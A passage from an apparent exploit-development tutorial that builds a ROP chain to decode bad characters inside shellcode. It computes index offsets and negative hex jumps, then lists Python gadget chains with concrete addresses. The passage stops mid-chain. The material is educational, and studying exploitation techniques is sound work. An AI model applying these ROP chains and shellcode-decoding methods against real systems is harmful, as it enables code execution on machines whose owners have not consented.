<p>Now, Before we decode our shellcode, We need to have 2 things:</p>
<ul>
  <li>The offset/index for each bad character.</li>
  <li>The positive value for <code class="language-plaintext highlighter-rouge">0xfb</code> that we used in encoding.</li>
</ul>

<p>Note:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>If we have a `sub` gadget we could sub directly with the same value we used for encoding, In this case `0xfb`.
</code></pre></div></div>
<p>Let’s go and get these 2 things done.</p>
<h3 id="bad-character-indexoffset">Bad character index/offset</h3>
<p>First, Starting with getting the index for each bad character, We can split it from <code class="language-plaintext highlighter-rouge">\x</code> and replace it with a new line to see the number of the line for each bad charachter:</p>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/a45bc268-bfe1-455c-b529-2489b22a8b2d" alt="image" /></p>

<p>We can see clearly that the number of lines for our shellcode after split is <code class="language-plaintext highlighter-rouge">193</code>, Which iss our shellcode size. Now, Let’s search for all bad chars and check the indexs.. We will start with <code class="language-plaintext highlighter-rouge">0x00</code>:</p>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/6b6703c7-cb1d-4d22-8669-0b8a4180392b" alt="image" /></p>

<p>It exists at index <code class="language-plaintext highlighter-rouge">4</code>,<code class="language-plaintext highlighter-rouge">5</code>,<code class="language-plaintext highlighter-rouge">6</code>:</p>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/ce5f808b-f900-4a69-9f90-4d3dfca8e8b3" alt="image" /></p>

<p>Also again at index <code class="language-plaintext highlighter-rouge">143</code>, <code class="language-plaintext highlighter-rouge">144</code>, <code class="language-plaintext highlighter-rouge">145</code>, <code class="language-plaintext highlighter-rouge">181</code> and <code class="language-plaintext highlighter-rouge">193</code>. Moving to the next one <code class="language-plaintext highlighter-rouge">0x0a</code>:</p>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/a5586ab1-bb24-480b-8a98-9d98f5a5dd51" alt="image" /></p>

<p>Only exist at index <code class="language-plaintext highlighter-rouge">169</code>. And we will repeat the process for each one until we finish. After finishing it we will get the following results:
| Character | indexes |
 |—–|—–|
 |0x00|4, 5, 6, 143, 144, 145, 181, 193|
 |0x0a|169|
 |0x0c|18, 106|
 |0x0d|40, 83|
 |0x20|37, 64|</p>

<p>After getting all the indexes for each bad character, Let’s arrange it in decending order:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>193
181
169
145
144
143
106
83
64
40
37
18
6
5
4
</code></pre></div></div>

<p>And the reason behind that is that we will start decoding from the last bad character, And then jump backward to the other bad characters, So will just add negative value to the pointer to jump backward, For example:</p>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/b3fef5c1-4905-4bfa-818d-68ed8882343b" alt="image" /></p>

<p>Here we can see that <code class="language-plaintext highlighter-rouge">ESI</code> points to the last encoded bad char <code class="language-plaintext highlighter-rouge">0xfb</code> which is at index <code class="language-plaintext highlighter-rouge">193</code>, To move to the previous bad chars for example the one at index <code class="language-plaintext highlighter-rouge">181</code> we need to calculate the differance between the bad char at index <code class="language-plaintext highlighter-rouge">193</code> and the one at index <code class="language-plaintext highlighter-rouge">181</code>, Which will be <code class="language-plaintext highlighter-rouge">193 - 181 = 12</code>, Then to jummp back from bad char at index <code class="language-plaintext highlighter-rouge">193</code> after decoding we need to jump back <code class="language-plaintext highlighter-rouge">12</code> bytes. And repeat the process between each 2 indexes till we finish. After repeating the process and finish we would have the following:</p>

<table>
  <thead>
    <tr>
      <th>Index/offset</th>
      <th>differance</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>193 - 181</td>
      <td>12</td>
    </tr>
    <tr>
      <td>181 - 169</td>
      <td>12</td>
    </tr>
    <tr>
      <td>169 - 145</td>
      <td>24</td>
    </tr>
    <tr>
      <td>145 - 144</td>
      <td>1</td>
    </tr>
    <tr>
      <td>144 -143</td>
      <td>1</td>
    </tr>
    <tr>
      <td>143 - 106</td>
      <td>37</td>
    </tr>
    <tr>
      <td>106 - 83</td>
      <td>23</td>
    </tr>
    <tr>
      <td>83 - 64</td>
      <td>19</td>
    </tr>
    <tr>
      <td>64 - 40</td>
      <td>24</td>
    </tr>
    <tr>
      <td>40-37</td>
      <td>3</td>
    </tr>
    <tr>
      <td>37 - 18</td>
      <td>19</td>
    </tr>
    <tr>
      <td>18 - 6</td>
      <td>12</td>
    </tr>
    <tr>
      <td>6 - 5</td>
      <td>1</td>
    </tr>
    <tr>
      <td>5 - 4</td>
      <td>1</td>
    </tr>
  </tbody>
</table>

<p>Now, After getting the differance between indexes, We can now make it into the negative value in hex to use it for jumping backward while decoding:</p>

<table>
  <thead>
    <tr>
      <th>Index/offset</th>
      <th>differance</th>
      <th>differance value in Negative hex</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>193 - 181</td>
      <td>12</td>
      <td>0xfffffff4</td>
    </tr>
    <tr>
      <td>181 - 169</td>
      <td>12</td>
      <td>0xfffffff4</td>
    </tr>
    <tr>
      <td>169 - 145</td>
      <td>24</td>
      <td>0xffffffe8</td>
    </tr>
    <tr>
      <td>145 - 144</td>
      <td>1</td>
      <td>0xffffffff</td>
    </tr>
    <tr>
      <td>144 -143</td>
      <td>1</td>
      <td>0xffffffff</td>
    </tr>
    <tr>
      <td>143 - 106</td>
      <td>37</td>
      <td>0xffffffdb</td>
    </tr>
    <tr>
      <td>106 - 83</td>
      <td>23</td>
      <td>0xffffffe9</td>
    </tr>
    <tr>
      <td>83 - 64</td>
      <td>19</td>
      <td>0xffffffed</td>
    </tr>
    <tr>
      <td>64 - 40</td>
      <td>24</td>
      <td>0xffffffe8</td>
    </tr>
    <tr>
      <td>40-37</td>
      <td>3</td>
      <td>0xfffffffd</td>
    </tr>
    <tr>
      <td>37 - 18</td>
      <td>19</td>
      <td>0xffffffed</td>
    </tr>
    <tr>
      <td>18 - 6</td>
      <td>12</td>
      <td>0xfffffff4</td>
    </tr>
    <tr>
      <td>6 - 5</td>
      <td>1</td>
      <td>0xffffffff</td>
    </tr>
    <tr>
      <td>5 - 4</td>
      <td>1</td>
      <td>0xffffffff</td>
    </tr>
  </tbody>
</table>

<h3 id="positive-value--verify-decoding">Positive value &amp; Verify decoding</h3>

<p>Secondly, We need to get the positive value for <code class="language-plaintext highlighter-rouge">0xfb</code> as we used it for encoding, Our decoding gadget is <code class="language-plaintext highlighter-rouge">add</code> gadget, So we need to get the positive value for <code class="language-plaintext highlighter-rouge">0xfb</code>:</p>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/bdab2e2a-f901-4831-9135-e72f4f59be92" alt="image" /></p>

<p>Here the positive value for <code class="language-plaintext highlighter-rouge">0xfb</code> is <code class="language-plaintext highlighter-rouge">0x05</code>, So we will be using <code class="language-plaintext highlighter-rouge">0x05050505</code> as the value to be poped into <code class="language-plaintext highlighter-rouge">eax</code> (As <code class="language-plaintext highlighter-rouge">eax</code> is 32-bit we used <code class="language-plaintext highlighter-rouge">05050505</code> to cover all bits) While we are decoding. Before that, Let’ss verify that the value would wwork and decode the encoded bad chars to the actual original ones:</p>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/cb65576c-7413-4505-9662-64a3d69731a7" alt="image" /></p>

<p>We can see clearly, when we added <code class="language-plaintext highlighter-rouge">0x05</code> to each encoded bad char, It successfully gives us the original bad char and decoded it successsfully.</p>

<p>Our full gadget will be as the following for decoding the badchars,But The first decode will have 1 differant gadget to make the esi point to the last badchar:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Decode bad character at index 193
</span><span class="n">ROPDecoder</span> <span class="o">=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="n">negative_offset_value_to_shellcode</span><span class="p">)</span>
<span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x50533bf4</span><span class="p">)</span> <span class="c1"># sub eax, ecx ; ret  ; add the offset to eax
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="n">decoding_value</span><span class="p">)</span>
<span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bbad character
</span></code></pre></div></div>

<p>Then as now we are pointing with-in the shellcode, We can jump backward for all the badchars using the following gadget:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Decode bad character at index 181
</span><span class="n">ROPDecoder</span> <span class="o">=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="n">negative_offset_value_to_the_previous_badchar</span><span class="p">)</span>
<span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5051579a</span><span class="p">)</span> <span class="c1"># add eax, ecx ; ret  ; Make eax point to the badchar to decode
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="n">decoding_value</span><span class="p">)</span>
<span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bbad character
</span></code></pre></div></div>

<p>Now the full gadget to decode all bad characters, Would be as the following:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Decode bad character at index 193
</span><span class="n">ROPDecoder</span> <span class="o">=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="n">negative_offset_value_to_shellcode</span><span class="p">)</span>
<span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x50533bf4</span><span class="p">)</span> <span class="c1"># sub eax, ecx ; ret  ; add the offset to eax
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="n">decoding_value</span><span class="p">)</span>
<span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bbad character
</span>
<span class="c1"># Decode bad char at index 181
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0xfffffff4</span><span class="p">)</span> <span class="c1"># offset to bad char at index 181
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5051579a</span><span class="p">)</span> <span class="c1"># add eax, ecx ; ret  ; Make eax point to the badchar to decode
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x05050505</span><span class="p">)</span> <span class="c1"># decoding value
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bad character
</span>    


<span class="c1"># Decode bad char at index 169
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0xfffffff4</span><span class="p">)</span> <span class="c1"># offset to bad char at index 169
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5051579a</span><span class="p">)</span> <span class="c1"># add eax, ecx ; ret  ; Make eax point to the badchar to decode
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x05050505</span><span class="p">)</span> <span class="c1"># decoding value
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bad character
</span>    


<span class="c1"># Decode bad char at index 145
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0xffffffe8</span><span class="p">)</span> <span class="c1"># offset to bad char at index 145
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5051579a</span><span class="p">)</span> <span class="c1"># add eax, ecx ; ret  ; Make eax point to the badchar to decode
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x05050505</span><span class="p">)</span> <span class="c1"># decoding value
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bad character
</span>    


<span class="c1"># Decode bad char at index 144
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">)</span> <span class="c1"># offset to bad char at index 144
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5051579a</span><span class="p">)</span> <span class="c1"># add eax, ecx ; ret  ; Make eax point to the badchar to decode
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x05050505</span><span class="p">)</span> <span class="c1"># decoding value
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bad character
</span>    


<span class="c1"># Decode bad char at index 143
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">)</span> <span class="c1"># offset to bad char at index 143
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5051579a</span><span class="p">)</span> <span class="c1"># add eax, ecx ; ret  ; Make eax point to the badchar to decode
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x05050505</span><span class="p">)</span> <span class="c1"># decoding value
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bad character
</span>    


<span class="c1"># Decode bad char at index 106
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0xffffffdb</span><span class="p">)</span> <span class="c1"># offset to bad char at index 106
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5051579a</span><span class="p">)</span> <span class="c1"># add eax, ecx ; ret  ; Make eax point to the badchar to decode
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
